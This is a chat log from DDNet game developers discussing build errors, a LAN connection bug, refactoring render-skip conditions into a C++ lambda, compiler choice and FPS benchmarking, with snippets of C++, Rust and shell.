00:00 < bridge_> Also, if you look into the `CMakeError.log` it says for almost every configure step: 00:00 < bridge_> ``` 00:00 < bridge_> error: data does not exist 00:00 < bridge_> em++: error: '/emsdk/upstream/emscripten/tools/file_packager cmTC_83f35.data --from-emcc --preload data' failed (returned 1) 00:00 < bridge_> ``` 00:00 < bridge_> Seems like all of the configure checks fail and then it falls back to some defaults, which might explain why it takes so long 01:03 < ws-client> if my dummy and i both spectate different tees do both tees get thier viewer increased? 01:04 < ws-client> isnt that verifirably scam numbers? 01:06 < bridge_> yes, because server doesnt know who owns the dummy 01:07 < ws-client> Today at 18:53 01:07 < ws-client> @learath2 01:07 < ws-client> > ChillerDragon you had a teeworlds/ddnet packet decoder somewhere, where? 01:08 < ws-client> web version is at https://twnet.zillyhuhn.com/ 01:09 < ws-client> it eats a few formats like python hex strings and C hex arrays or tcpdumps but its backend is twnet_parser which does not support ddnet ex messages so libtw2 wireshark is more feature rich 01:09 < ws-client> if the irc bot is online you can also do !p here but i think it has trouble connecting to irc 01:09 < ws-client> !ping 01:24 < ws-client> @kebscs oh right we should do issue about that 01:24 < ws-client> aaaa #9515 01:24 < ws-client> how to connect to irc? 01:59 < bridge_> @teero777 come voice 02:00 < bridge_> :justatest: 02:19 < bridge_> discord chiller dragon jumpscare 02:45 < bridge_> https://cdn.discordapp.com/attachments/781552659709820958/1359568677271240867/image.png?ex=67f7f480&is=67f6a300&hm=416ba7a17f583aebe56d6be7c99b9dfd15ba941dc56e4db160a55418eb426ec3& 02:45 < bridge_> Some Durák anyone? :p 02:49 < bridge_> @jupeyy_keks hows ddnet rs 02:49 < bridge_> u put any time into it lately 03:18 < bridge_> wow cool 03:18 < bridge_> when texas hold em? 04:23 < bridge_> wait I didn’t see this 04:23 < bridge_> looks sick 05:42 < bridge_> it's been 1 year since i ported ddnet to NDS 05:42 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359735315610210457/image-3.png?ex=67f88fb1&is=67f73e31&hm=ad8a7e80d5397b6ea9527613df0cec8efbb115561da9cb1acec5fecd905de39b& 07:02 < bridge_> Mh too bad that debugging this sounds so hard 07:03 < bridge_> I'm working on the editor 07:03 < bridge_> Is it the most selling game for nds already? 07:21 < bridge_> .... 07:21 < bridge_> Man 07:40 < bridge_> sold more than mario kart ds 07:40 < bridge_> :troll: 08:20 < bridge_> morning 08:55 < bridge_> good morning! 08:56 < bridge_> would this be readable code to you?: 08:56 < bridge_> ``` 08:56 < bridge_> switch(LayerType): 08:56 < bridge_> { 08:56 < bridge_> ... 08:56 < bridge_> case LAYER_GAME: 08:56 < bridge_> RenderKillTileBorder(TileLayerCounter - 1, Color.Multiply(GetDeathBorderColor())); 08:56 < bridge_> case LAYER_FRONT: 08:56 < bridge_> case LAYER_TUNE: 08:56 < bridge_> default: 08:56 < bridge_> RenderTileLayer(TileLayerCounter - 1, Color); 08:56 < bridge_> break; 08:56 < bridge_> } 08:56 < bridge_> } 08:56 < bridge_> ``` 08:59 < bridge_> wait you can render to the same layer index 🤔 09:40 < bridge_> sick 09:43 < bridge_> @robyt3 something is broken in master, I currently can't connect to LAN servers, the IP is scuffed: 09:43 < bridge_> most certainly any maplayer changes didn't cause this 09:43 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359796002948911104/screenshot_2025-04-10_09-42-46.png?ex=67f8c836&is=67f776b6&hm=ad7bdfb5193bb77179da7dfa90dd62eb330a733b85b81ad6961af7ff34b60928& 09:44 < bridge_> most certainly no maplayer changes caused this 09:44 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359796002948911104/screenshot_2025-04-10_09-42-46.png?ex=67f8c836&is=67f776b6&hm=ad7bdfb5193bb77179da7dfa90dd62eb330a733b85b81ad6961af7ff34b60928& 09:48 < bridge_> @robyt3 something is broken in master, I currently can't connect by clicking to LAN servers, the IP is scuffed: 09:51 < bridge_> A wild guess, but it's probably coming from #10044 09:51 < bridge_> https://github.com/ddnet/ddnet/pull/10044 09:52 < bridge_> ``` 09:52 < bridge_> net_addr_str(&pAddrs[i], aIpAddr, sizeof(aIpAddr), true); 09:52 < bridge_> str_append(pBuffer, aIpAddr, BufferSize); 09:52 < bridge_> ``` 10:50 < bridge_> @learath2 I'm thinking about how to lower globals. The problem is that there can be cycles, for example: 10:50 < bridge_> ```rust 10:50 < bridge_> const A: usize = B; 10:50 < bridge_> const B: usize = A; 10:50 < bridge_> ``` 10:50 < bridge_> I've come up with dis: 10:50 < bridge_> ```rust 10:50 < bridge_> let mut variables: Vec<&Variable> = ...; 10:50 < bridge_> 10:50 < bridge_> loop { 10:50 < bridge_> let mut progress = false; 10:50 < bridge_> 10:50 < bridge_> variables.retain(|variable| { 10:50 < bridge_> if can_be_processed(variable) { 10:50 < bridge_> ... 10:50 < bridge_> progress = true; 10:50 < bridge_> 10:50 < bridge_> false 10:50 < bridge_> } else { 10:50 < bridge_> true 10:50 < bridge_> } 10:50 < bridge_> }); 10:50 < bridge_> 10:51 < bridge_> if !progress { 10:51 < bridge_> break 10:51 < bridge_> } 10:51 < bridge_> } 10:51 < bridge_> 10:51 < bridge_> if !variables.empty() { 10:51 < bridge_> panic!("Polundra!!!!"); 10:51 < bridge_> } 10:52 < bridge_> Don't allow cycles? 10:54 < bridge_> They are not allowed 10:55 < bridge_> Then why does this need any special handling? Didn't you already solve this problem for normal scoped variables? 10:57 < bridge_> I rewrote ir and symbol table stuff and now some things are broken 10:58 < bridge_> Globals are different because 10:58 < bridge_> ```rust 10:58 < bridge_> const A: usize = B; 10:58 < bridge_> const B: usize = 0x45; 10:58 < bridge_> ``` 10:58 < bridge_> is a valid code 10:59 < bridge_> Fwiw, I wouldn't allow that just to make it easy to parse 11:01 < bridge_> I guess what you wrote is fine. It is technically guaranteed that you can solve this sort of thing in 2 passes, that's what I would do, order the globals first such that dependents are after what they depend on 11:04 < bridge_> Btw I'm thinking about adding a new keyword for declaring globals 11:04 < bridge_> Why waste a keyword for what is obvious from position? 11:05 < bridge_> It'd only be worth if you are planning on something like php 11:08 < bridge_> It will be interesting to see how different the assembly will be when it's generated using codegen in my compiler repo vs compiler backend 11:32 < bridge_> has anybody a better idea for this data structure in a loop? 11:32 < bridge_> ``` 11:32 < bridge_> // stop rendering if we render background but reach the foreground 11:32 < bridge_> if(PassedGameLayer && (m_Type == TYPE_BACKGROUND || m_Type == TYPE_BACKGROUND_FORCE)) 11:32 < bridge_> return; 11:32 < bridge_> 11:32 < bridge_> // skip rendering if we render foreground but are in background 11:32 < bridge_> if(!PassedGameLayer && m_Type == TYPE_FOREGROUND) 11:32 < bridge_> continue; 11:32 < bridge_> 11:32 < bridge_> // skip rendering if we render background force, but deactivated tile layer and want to render a tilelayer 11:32 < bridge_> if((pLayer->m_Type == LAYERTYPE_TILES && !g_Config.m_ClBackgroundShowTilesLayers) && m_Type == TYPE_BACKGROUND_FORCE) 11:32 < bridge_> continue; 11:32 < bridge_> 11:32 < bridge_> // skip rendering if we render background but encounter an entity, e.g. speed layer infront of game layer or similar 11:32 < bridge_> if(m_Type == TYPE_BACKGROUND_FORCE && IsEntityLayer) 11:32 < bridge_> continue; 11:32 < bridge_> 11:32 < bridge_> // skip rendering entities if we want to render everything in it's full glory 11:32 < bridge_> if(m_Type == TYPE_FULL_DESIGN && IsEntityLayer) 11:32 < bridge_> continue; 11:32 < bridge_> 11:32 < bridge_> int EntityOverlayVal = g_Config.m_ClOverlayEntities; 11:32 < bridge_> // Hide Entities 11:32 < bridge_> if(m_Type == TYPE_FULL_DESIGN) 11:32 < bridge_> EntityOverlayVal = 0; 11:32 < bridge_> 11:33 < bridge_> // skip rendering anything but entities if we only want to render entities 11:33 < bridge_> if(!IsEntityLayer && EntityOverlayVal == 100 && m_Type != TYPE_BACKGROUND_FORCE) // only show entities 11:33 < bridge_> continue; 11:33 < bridge_> ``` 11:33 < bridge_> Yes I can chain them all into 1 if case with OR 11:33 < bridge_> Yes I can chain them all into 1 if case with OR, doesn't make it any readable 11:36 < bridge_> @essigautomat there seems to be alot of dependencies, you could try to get rid of them 11:36 < bridge_> (eg EntityOverlayVal = 0; effects the next condition) 11:37 < bridge_> yes I sorted them, as we want to exit as early as possible 11:37 < bridge_> EntityOverlayVal = 0 also affects unskipped code after that 11:38 < bridge_> also i do think making it one big if for return and continue 11:38 < bridge_> is cleaner than it is now 11:38 < bridge_> I asked chatgpt, it suggests adding 2 functions: 11:38 < bridge_> if(ShouldStopRendering(PassedGameLayer, m_Type)) 11:38 < bridge_> return; 11:38 < bridge_> 11:38 < bridge_> if(ShouldSkipRendering(PassedGameLayer, m_Type, pLayer, IsEntityLayer)) 11:38 < bridge_> continue; 11:38 < bridge_> ehhh 11:38 < bridge_> ``` 11:38 < bridge_> if(ShouldStopRendering(PassedGameLayer, m_Type)) 11:38 < bridge_> return; 11:39 < bridge_> 11:39 < bridge_> if(ShouldSkipRendering(PassedGameLayer, m_Type, pLayer, IsEntityLayer)) 11:39 < bridge_> continue; 11:39 < bridge_> ``` 11:39 < bridge_> you can have the comments before each part 11:39 < bridge_> outlining it means you have to jump away to read it 11:39 < bridge_> you can maybe use lambdas so you dont have to pass in anything 11:40 < bridge_> I don't think, that lambdas make this any cleaner, or moving this into a function, as it still contains the same code 11:40 < bridge_> some people (and probably clang tidy) have something to say about huge if statements 11:41 < bridge_> clang format does this to if statements and i hate it 11:41 < bridge_> 11:41 < bridge_> ```cpp 11:41 < bridge_> if(a && b && c 11:41 < bridge_> && d && e 11:41 < bridge_> && f) 11:41 < bridge_> ``` 11:41 < bridge_> it should be 11:41 < bridge_> ```cpp 11:41 < bridge_> if ( 11:41 < bridge_> a && b && c && 11:41 < bridge_> d && ee && 11:41 < bridge_> f 11:41 < bridge_> ) 11:41 < bridge_> ``` 11:41 < bridge_> imo 11:41 < bridge_> and also putting comments into there is harder in the first 11:42 < bridge_> ```cpp 11:42 < bridge_> // comment a && b && c 11:42 < bridge_> if(a && b && c 11:42 < bridge_> // comment d && e 11:42 < bridge_> && d && e 11:42 < bridge_> // comment f 11:42 < bridge_> && f) 11:42 < bridge_> ``` 11:42 < bridge_> ```cpp 11:42 < bridge_> if ( 11:42 < bridge_> // comment a && b && c 11:42 < bridge_> a && b && c && 11:42 < bridge_> // comment d && e 11:42 < bridge_> d && e && 11:42 < bridge_> // comment f 11:42 < bridge_> f 11:42 < bridge_> ) 11:43 < bridge_> ``` 11:43 < bridge_> you dont have to worry about that if you use a func 11:43 < bridge_> or lambda 11:43 < bridge_> you can make it directly use "return" there but yes 11:43 < bridge_> and you can put the lambda really close to the usage so you dont jump away that far 11:43 < bridge_> (could be right next to it) 11:43 < bridge_> no, you'd want to put it outside of the loop, which is really far 11:44 < bridge_> why 11:44 < bridge_> the compiler will make it static 11:44 < bridge_> (or you can specify that its static now) 11:45 < bridge_> (I didn't know that static lambdas are a thing) 11:46 < bridge_> in c you can write function definitions in functions and they are equivilant to static lambdas 11:46 < bridge_> (that they are scoped functions which know about the scoped variables) 11:47 < bridge_> (theres not actually anything stopping functions anywhere from reading the stack like a static lambda) 11:48 < bridge_> (eh... its like passing a reference but its always the same offset in the stack) 11:48 < bridge_> (im waffling out my ass) 11:48 < bridge_> most lambdas can be static 11:48 < bridge_> the functions in functions is a gcc extension 11:49 < bridge_> I was just about to say that's non-standard 11:50 < bridge_> yeah but its bloody useful 11:50 < bridge_> wait you can also have non static functions in functions 11:50 < bridge_> they are just c lambdas 11:50 < bridge_> the compiler will complain about them since it requires making the stack executable (which is a vulnrability) 11:57 < bridge_> uhh 11:57 < bridge_> ``` 11:57 < bridge_> static auto SkipRendering = [this, &PassedGameLayer, &pLayer, &IsEntityLayer, &EntityOverlayVal]() -> bool { 11:57 < bridge_> return ( 11:57 < bridge_> // skip rendering if we render foreground but are in background 11:57 < bridge_> (!PassedGameLayer && m_Type == TYPE_FOREGROUND) || 11:57 < bridge_> 11:57 < bridge_> // skip rendering if we render background force, but deactivated tile layer and want to render a tilelayer 11:58 < bridge_> ((pLayer->m_Type == LAYERTYPE_TILES && !g_Config.m_ClBackgroundShowTilesLayers) && m_Type == TYPE_BACKGROUND_FORCE) || 11:58 < bridge_> 11:58 < bridge_> // skip rendering if we render background but encounter an entity, e.g. speed layer infront of game layer or similar 11:58 < bridge_> (m_Type == TYPE_BACKGROUND_FORCE && IsEntityLayer) || 11:58 < bridge_> 11:58 < bridge_> // skip rendering entities if we want to render everything in it's full glory 11:58 < bridge_> (m_Type == TYPE_FULL_DESIGN && IsEntityLayer) || 11:58 < bridge_> 11:58 < bridge_> // skip rendering anything but entities if we only want to render entities 11:58 < bridge_> (!IsEntityLayer && EntityOverlayVal == 100 && m_Type != TYPE_BACKGROUND_FORCE) // only show entities 11:58 < bridge_> ); 11:58 < bridge_> }; 11:58 < bridge_> 11:58 < bridge_> if(SkipRendering()) 11:58 < bridge_> continue; 11:58 < bridge_> ``` 11:58 < bridge_> 11:58 < bridge_> `Segmentation fault` hmm 11:58 < bridge_> but cpp doesnt complain, maybe theres a way to do non static lambdas without having an executable stack (ie copying the function) 11:58 < bridge_> cant you just do [&] and it will capture verything it needs, and since your in a function you can seperate it out into if statemetns again 11:58 < bridge_> also use libasan c: 11:59 < bridge_> probably not possible to use it directly out of the ddnet project? :/ 11:59 < bridge_> very possible 12:00 < bridge_> its on the readme on how to use it 12:00 < bridge_> ill writ ethe commands i use 12:01 < bridge_> ```cpp 12:01 < bridge_> CC=clang CXX=clang++ CXXFLAGS="-fsanitize=address,undefined -fsanitize-recover=all -fno-omit-frame-pointer" CFLAGS="-fsanitize=address,undefined -fsanitize-recover=all -fno-omit-frame-pointer" cmake -DCMAKE_BUILD_TYPE=Debug .. -GNinja 12:01 < bridge_> cmake --build . 12:01 < bridge_> UBSAN_OPTIONS=print_stacktrace=1:halt_on_errors=0 ASAN_OPTIONS=print_stacktrace=1:check_initialization_order=1:detect_leaks=1:halt_on_errors=0 ./DDNet 12:01 < bridge_> ``` 12:01 < bridge_> Do you not test with asan? 12:02 < bridge_> I am happy to be able to compile in the first place on this windows machine 12:03 < bridge_> You can have asan on windows nowadays but iirc it was annoying 12:04 < bridge_> Just use WSL 12:07 < bridge_> Or msys2 12:08 < bridge_> msvc has asan 12:08 < bridge_> :pog: 12:08 < bridge_> https://learn.microsoft.com/en-us/cpp/sanitizers/asan?view=msvc-170 12:10 < bridge_> @sollybunny adding an argument for everything and not adding to the lambda reference list works 12:10 < bridge_> might be an issue with static lambdas and references I guess 12:11 < bridge_> Copy everything 😄 12:12 < bridge_> it boils down to `(int m_Type, bool PassedGameLayer, int LayerType, bool IsEntityLayer, int EntityOverlayVal)` anyway 12:12 < bridge_> references are not that useful here anyway xD 12:15 < bridge_> are you happy with this? 12:15 < bridge_> ``` 12:15 < bridge_> static auto SkipRendering = [](int RenderType, bool PassedGameLayer, int ItemLayerType, bool IsEntityLayer, int EntityOverlayVal) -> bool { 12:15 < bridge_> return ( 12:15 < bridge_> // skip rendering if we render foreground but are in background 12:15 < bridge_> (!PassedGameLayer && RenderType == TYPE_FOREGROUND) || 12:15 < bridge_> 12:15 < bridge_> // skip rendering if we render background force, but deactivated tile layer and want to render a tilelayer 12:15 < bridge_> ((ItemLayerType == LAYERTYPE_TILES && !g_Config.m_ClBackgroundShowTilesLayers) && RenderType == TYPE_BACKGROUND_FORCE) || 12:15 < bridge_> 12:15 < bridge_> // skip rendering if we render background but encounter an entity, e.g. speed layer infront of game layer or similar 12:15 < bridge_> (RenderType == TYPE_BACKGROUND_FORCE && IsEntityLayer) || 12:15 < bridge_> 12:15 < bridge_> // skip rendering entities if we want to render everything in it's full glory 12:15 < bridge_> (RenderType == TYPE_FULL_DESIGN && IsEntityLayer) || 12:15 < bridge_> 12:15 < bridge_> // skip rendering anything but entities if we only want to render entities 12:15 < bridge_> (!IsEntityLayer && EntityOverlayVal == 100 && RenderType != TYPE_BACKGROUND_FORCE) // only show entities 12:15 < bridge_> ); 12:15 < bridge_> }; 12:15 < bridge_> 12:15 < bridge_> if(SkipRendering(m_Type, PassedGameLayer, pLayer->m_Type, IsEntityLayer, EntityOverlayVal)) 12:15 < bridge_> continue; 12:15 < bridge_> ``` 12:15 < bridge_> are you happy with this? 12:15 < bridge_> ```C++ 12:15 < bridge_> static auto SkipRendering = [](int RenderType, bool PassedGameLayer, int ItemLayerType, bool IsEntityLayer, int EntityOverlayVal) -> bool { 12:16 < bridge_> return ( 12:16 < bridge_> // skip rendering if we render foreground but are in background 12:16 < bridge_> (!PassedGameLayer && RenderType == TYPE_FOREGROUND) || 12:16 < bridge_> 12:16 < bridge_> // skip rendering if we render background force, but deactivated tile layer and want to render a tilelayer 12:16 < bridge_> ((ItemLayerType == LAYERTYPE_TILES && !g_Config.m_ClBackgroundShowTilesLayers) && RenderType == TYPE_BACKGROUND_FORCE) || 12:16 < bridge_> 12:16 < bridge_> // skip rendering if we render background but encounter an entity, e.g. speed layer infront of game layer or similar 12:16 < bridge_> (RenderType == TYPE_BACKGROUND_FORCE && IsEntityLayer) || 12:16 < bridge_> 12:16 < bridge_> // skip rendering entities if we want to render everything in it's full glory 12:16 < bridge_> (RenderType == TYPE_FULL_DESIGN && IsEntityLayer) || 12:16 < bridge_> 12:16 < bridge_> // skip rendering anything but entities if we only want to render entities 12:16 < bridge_> (!IsEntityLayer && EntityOverlayVal == 100 && RenderType != TYPE_BACKGROUND_FORCE) // only show entities 12:24 < bridge_> I'm not happy that you didn't figure out why you couldn't just capture 12:25 < bridge_> But that's just my personal pet peeve. I'm sure you can get this through review 12:26 < bridge_> I asked Robyt directly in the PR, as I am certain he has to say something constructive 12:27 < bridge_> also I moved the EntitieyOverlayVal completly out of the loops, as it doesn't need to be recalculated for every tilelayer 😄 12:27 < bridge_> also I moved the EntitieyOverlayVal completly out of the loop, as it doesn't need to be recalculated for every tilelayer 😄 12:28 < bridge_> @chillerdragon when vc again 12:29 < bridge_> Fwiw I like it as is too, without the lambda at all. So that's also an option 12:32 < bridge_> I compared fps with 19.1 now and I have less ... 12:32 < bridge_> (╯°□°)╯︵ ┻━┻ 12:32 < bridge_> And I don't think it's about the lambda 12:37 < bridge_> I am curious how you measure it anyway. 12:37 < bridge_> I doubt you can even create a CPU bottleneck on a laptop 12:38 < bridge_> comparing to the latest master shows no difference to my branch, so it might be one of my previous changes 12:39 < bridge_> I am comparing over cpu heavy map parts with a lot of animations, in an empty map my benchmarks get useless 12:43 < bridge_> On DDNet? 12:43 < bridge_> CPU is definitely the bottleneck 12:43 < bridge_> And how if you look at a part full of animations, should the lambda even pop up? 12:43 < bridge_> But not on a laptop 12:43 < bridge_> Ehhh 12:44 < bridge_> Depends what laptop 12:44 < bridge_> Okay, checking out tag 19.1, building it myself and comparing leads to different results 12:44 < bridge_> But the graphics that DDNet is doing is... Not alot 12:44 < bridge_> Do you want to tell me there is any modern CPU that cannot calculate ddnet more than 700 times per second? 12:44 < bridge_> Or I guess there's lots of immediate mode graphics 12:44 < bridge_> I mean with 64p or smth ok 12:44 < bridge_> so I actually improve FPS comparing like this, but compared to the ddnet download of 19.1 I have, I have less fps 12:44 < bridge_> @jupeyy_keks did u try wasm with cpp, also what runtime do u uuse? wasmer? 12:45 < bridge_> I did not. Yes wasmer 12:45 < bridge_> wasmer has cpp header iirc 12:45 < bridge_> i thought about trying ur plugable physics in the ddnet code inspired by ur ddnet rs 12:45 < bridge_> breaking protocol ofc 12:45 < bridge_> i thought about trying to impl ur plugable physics in the ddnet code inspired by ur ddnet rs 12:46 < bridge_> The reason why I like Rust here is simply proc macros. 12:46 < bridge_> 12:46 < bridge_> They automatically implement the whole wasm bridge and for you as dev it feels like you simply implemented Rust <-> Rust trait 12:46 < bridge_> You don't even see the wasm details 12:46 < bridge_> hmm 12:46 < bridge_> maybe make the interaction with wasm in rust 12:46 < bridge_> and a interface to manage this from cpp from exisiting code idk 12:46 < bridge_> or just contribute to ddnet rs 12:47 < bridge_> idk what to do 12:47 < bridge_> i was just bored and thought why not 12:47 < bridge_> xd 12:47 < bridge_> 12:47 < bridge_> write legacy bridge 12:47 < bridge_> xd 12:47 < bridge_> when quic 12:47 < bridge_> cpp quic 12:48 < bridge_> yeah go go go 12:48 < bridge_> we so close and so far from accounts 12:48 < bridge_> You have all my mental support for that 12:48 < bridge_> xd 12:48 < bridge_> i got the whole week off next week 12:49 < bridge_> I mean you could write a QUIC impl in 1 week. 12:49 < bridge_> If you go serious mode 12:49 < bridge_> In worst case you could simply write a wrapper around our UDP impl 12:51 < bridge_> but isnt there heinrich work 12:51 < bridge_> i meant that 12:51 < bridge_> You can also try to get his work ready 12:56 < bridge_> @jupeyy_keks saw this in hn https://spacetimedb.com/ 12:58 < bridge_> funny, but yeah. cheating, spamming, griefing guaranteed xd 12:59 < bridge_> wot 12:59 < bridge_> xd 13:00 < bridge_> without a server instance there is basically nothing holding the clients back to write whatever gamestate they want 13:19 < bridge_> most p2p things have a host still which is running the "server"? 13:19 < bridge_> the server can still check for cheating 13:19 < bridge_> and for games with demos you can then verify them afterwards 13:19 < bridge_> (eg forts) 13:21 < bridge_> I dunno, I don't believe in their concept xD 13:21 < bridge_> I have a question, might be stupid: Why is building myself in release mode slower, then the download from ddnet? AFAIK it's the same config 13:21 < bridge_> having easy no setup p2p is very good for non competative things 13:22 < bridge_> Do you compile with gcc? 13:22 < bridge_> +1 my builds are slower 13:22 < bridge_> Yeah but it's like with many frameworks. It sounds easy until you notice it's hard to work around certain aspects 13:22 < bridge_> for the things i often want p2p for, literally just having what they show on their main page is enough 13:23 < bridge_> do you use gcc for windows? I mean mingw probably right? 13:23 < bridge_> (except i dont use rust) 13:23 < bridge_> yes mingw 13:23 < bridge_> ddnet compile with gcc. msvc could potentially produce worse production code 13:23 < bridge_> lol mingw is faster then their ms own compiler xD 13:23 < bridge_> lmao their title with the rewriting thing only has "game" and "app" 13:23 < bridge_> i mean it's gcc 13:24 < bridge_> gcc and clang are far more used if you include server applications etc 13:24 < bridge_> how does clang compile faster than gcc, clang is thicker right? 13:24 < bridge_> lol mingw is faster then ms own compiler xD 13:24 < bridge_> i think he means runtime performance anyway 13:24 < bridge_> there is a server instance? 13:24 < bridge_> clang wins because its thicker 13:24 < bridge_> I thought spacetime db is basically just relation database as world state 13:24 < bridge_> generally both are probs pretty equal 13:25 < bridge_> clang wins because its thicker (has more layers, each of which was built from the ground up) 13:25 < bridge_> https://stackoverflow.com/questions/33358488/why-does-clang-produce-a-much-faster-code-than-gcc-for-this-simple-function-invo 13:25 < bridge_> clang can spot more things 13:25 < bridge_> for most purposes it doesnt matter 13:25 < bridge_> it sounds to me more that they allow server code but don't want a runtime in a classical sense, with e.g. having ticks etc. 13:25 < bridge_> else i don't understand their whole concept anyway 13:26 < bridge_> clang can spot more things (sample size 1) 13:26 < bridge_> clang uses vectorizing in O2.. that is the main reason it's faster 13:26 < bridge_> gcc only activates it on O3 13:26 < bridge_> no I think it's just a relational database optimized for game servers 13:26 < bridge_> you still have a regular server that calculates all the physics 13:26 < bridge_> -O4 go brrr 13:26 < bridge_> (ik o4 does nothing) 13:26 < bridge_> I mean their description says the clients connect to the database directly (somehow) 13:26 < bridge_> yes but they're using stupid words 13:26 < bridge_> does ddnet release not use O3? 13:26 < bridge_> by database they mean server with database attached 13:27 < bridge_> afaik no 13:27 < bridge_> does normal build use O3? 13:27 < bridge_> still doesnt explain why ddnet builds are faster than mine xd 13:27 < bridge_> still doesnt explain why ddnet.org builds are faster than mine xd 13:27 < bridge_> (if we both use clang) 13:27 < bridge_> @sollybunny Last time i tested many apps with clang vs gcc (few years ago) 13:27 < bridge_> gcc has defs faster if you use stuff like LTO and weird optimization flags 13:27 < bridge_> But maybe clang is now better, dunno 13:28 < bridge_> Are they? 13:28 < bridge_> i would have to test it myself cuz as you said it changes 13:28 < bridge_> ah ddnet uses gcc 13:28 < bridge_> pretty sure 13:28 < bridge_> i am a bit jittery on my builds, whilst ddnet ones arent 13:28 < bridge_> i havent tested max fps or anything 13:28 < bridge_> for me also (with a lot of asteriks) 13:28 < bridge_> i am a bit jittery on my builds, whilst ddnet ones arent (on a thinkpad l440) 13:29 < bridge_> is there any way to extract data from a quad container (without voodoo witchcraft) 13:29 < bridge_> what u mean with data? the vertices? 13:29 < bridge_> yeah 13:29 < bridge_> and colors 13:29 < bridge_> it's not public, but they are stored indeed 13:29 < bridge_> for ogl 1.1 compat 13:30 < bridge_> they charge you per WASM instruction to run your game logic 13:30 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359852958900289758/image.png?ex=67f8fd42&is=67f7abc2&hm=c97ba15772cc49f86300d01412c3d297816023551a91411b691902abbb426bba& 13:30 < bridge_> does opengl above that allow storing only on gpu? 13:30 < bridge_> ok discord dying in germany again 13:30 < bridge_> lel 13:30 < bridge_> does opengl above that allow storing only on gpu? (or appending to existing data without full reupload) 13:30 < bridge_> hi juppy 13:30 < bridge_> 2 juppys ghasp 13:30 < bridge_> simply recreate the quad container then 13:31 < bridge_> it's not designed to be updated 13:31 < bridge_> and opengl memory management is also a weirdo 13:31 < bridge_> updating is often slower than just recreating the whole buffer xD 13:31 < bridge_> ofc depends on the size 13:31 < bridge_> cant the gpu handle the realloc 13:31 < bridge_> fully 13:31 < bridge_> i think the problem with updating is that it kinda blocks rendering 13:32 < bridge_> yeah ofc 13:32 < bridge_> while a new buffer simply is unrelated memory and not in use yet 13:32 < bridge_> uploading blocks no matter what 13:32 < bridge_> atleast in opengl 13:32 < bridge_> @jupeyy_keks do you have any good setup in measuring fps? I think the game needs some kinf of good benchmarking :/ 13:32 < bridge_> (idk why though, if memory is unused drm should be able to handle it) 13:32 < bridge_> @jupeyy_keks do you have any good setup for measuring fps? I think the game needs some kinf of good benchmarking :/ 13:32 < bridge_> (idk why though, if memory is unused drm should be able to handle it, without adverse cache effects) 13:32 < bridge_> go on the turkey multimap easy xd 13:32 < bridge_> or play a demo 13:33 < bridge_> does the client support 128p yet? 13:33 < bridge_> and then, watch the fps counter with my eyes @sollybunny ? I would like an overview at the end of demo with stats: min fps, max fps, average fps, worst place x y maybe or something 13:34 < bridge_> it has benchmark f1 cmd, but dunno. honestly the problem is that cpu performance is not consistent enough. 13:34 < bridge_> 13:34 < bridge_> too much factors, like clock boosts etc. 13:34 < bridge_> u can use cpufreq to set clock speed 13:34 < bridge_> would be nice to get min/max/avg like in mc 13:34 < bridge_> cl_showfps 2 13:34 < bridge_> it has no benchmarks as in benchmarking specific code regions 13:34 < bridge_> well at least for my machine I should get similar results on average for the exact same test 13:35 < bridge_> yeah 13:35 < bridge_> best is to use entities and remove as much GPU rendering as possible ig 13:35 < bridge_> you trolled me .... 🤣 13:36 < bridge_> no im saying i want that as a feature xd 13:36 < bridge_> just have a moving avg/min/max sampling like 50 poitns int he last 5 seconds 13:37 < bridge_> jupsta why are u an app 13:37 < bridge_> uhmm actually its a webhook 13:37 < bridge_> but honestly assa, benchmarking if your changes make a difference sounds hard. 13:37 < bridge_> 13:37 < bridge_> You need to write a benchmark where a single lambda or similar is the hot path. 13:37 < bridge_> 13:37 < bridge_> Just measuring fps will not give you any clue. You can use a profile and see how much time was spent on some instructions 13:37 < bridge_> botstar 13:37 < bridge_> I am no app :c 13:37 < bridge_> (use a profiler) 13:37 < bridge_> (very informative) 13:37 < bridge_> on windows i dunno what i'd use 13:37 < bridge_> visual studio has a really good line by line profiler but its locked behind visual studio 13:37 < bridge_> valgrind makes it easy to run in a cpu limit xD 13:38 < bridge_> (it could be a vsc extension but ms is playing) 13:38 < bridge_> valgrind --tool=callgrind 13:38 < bridge_> cpufreq 0.8 13:38 < bridge_> ```sh 13:38 < bridge_> #!/bin/sh 13:38 < bridge_> 13:38 < bridge_> # Check if an argument is provided 13:38 < bridge_> if [ -z "$1" ]; then 13:38 < bridge_> echo "Usage: $0 " 13:38 < bridge_> exit 1 13:38 < bridge_> fi 13:38 < bridge_> 13:38 < bridge_> # Convert the argument to KHz 13:38 < bridge_> frequency=$(echo "$1 * 1000000" | bc) 13:38 < bridge_> 13:38 < bridge_> # Set CPU frequency 13:38 < bridge_> if sudo cpupower frequency-set -u "$frequency" > /dev/null 2>&1; then 13:38 < bridge_> echo "CPU max frequency set to $1 GHz" 13:38 < bridge_> else 13:38 < bridge_> echo "Failed" 13:39 < bridge_> exit $? 13:39 < bridge_> fi 13:39 < bridge_> ``` 13:39 < bridge_> ^ epic script to add to your thermally throttled laptop 13:39 < bridge_> would that be 80% or 0.8 ghz? xd 13:39 < bridge_> 0.8ghz :) 13:39 < bridge_> `permit nopass :wheel cmd cpupower` and this in `doas.conf` (if you use sudo, then figure it out urself) 13:39 < bridge_> my minimum is 3ghz apparently 13:39 < bridge_> ;----; 13:40 < bridge_> thats quite high 13:40 < bridge_> (minimum clock speed i pressume) 13:40 < bridge_> I like the idea of just setting cl_fpsbenchmark and if you start a demo a window pops up at the end with an overview 13:40 < bridge_> yes, maximum is 5.88ghz, but i never seen it above 5.7, so i think the reporting is simply wrong xd 13:41 < bridge_> or add a benchmark button in the demoplayer, so anyone can benchmark if they want to 13:41 < bridge_> you can probably use mangohud to do benchmarking 13:41 < bridge_> no need for client support 13:41 < bridge_> but honestly, use a profiler xd 13:42 < bridge_> the one in visual studio is quite good, if you have that 13:42 < bridge_> can you add triangles instead of quads to quad containers? 13:42 < bridge_> feels a bit miff having 1/4 of my points be useless 13:42 < bridge_> no 13:42 < bridge_> A quad is 2 triangles tho 13:42 < bridge_> yeah but i want to draw triangles 13:42 < bridge_> Can't remember but I think it supports freeform quads xdd 13:43 < bridge_> yeah no sry xd 13:43 < bridge_> it does, i just have 1 point equal to the last 13:43 < bridge_> Create a triangle container 13:43 < bridge_> i assume its rendering twice the triangles i need 13:43 < bridge_> Or i just press ALT + R and the nvidia 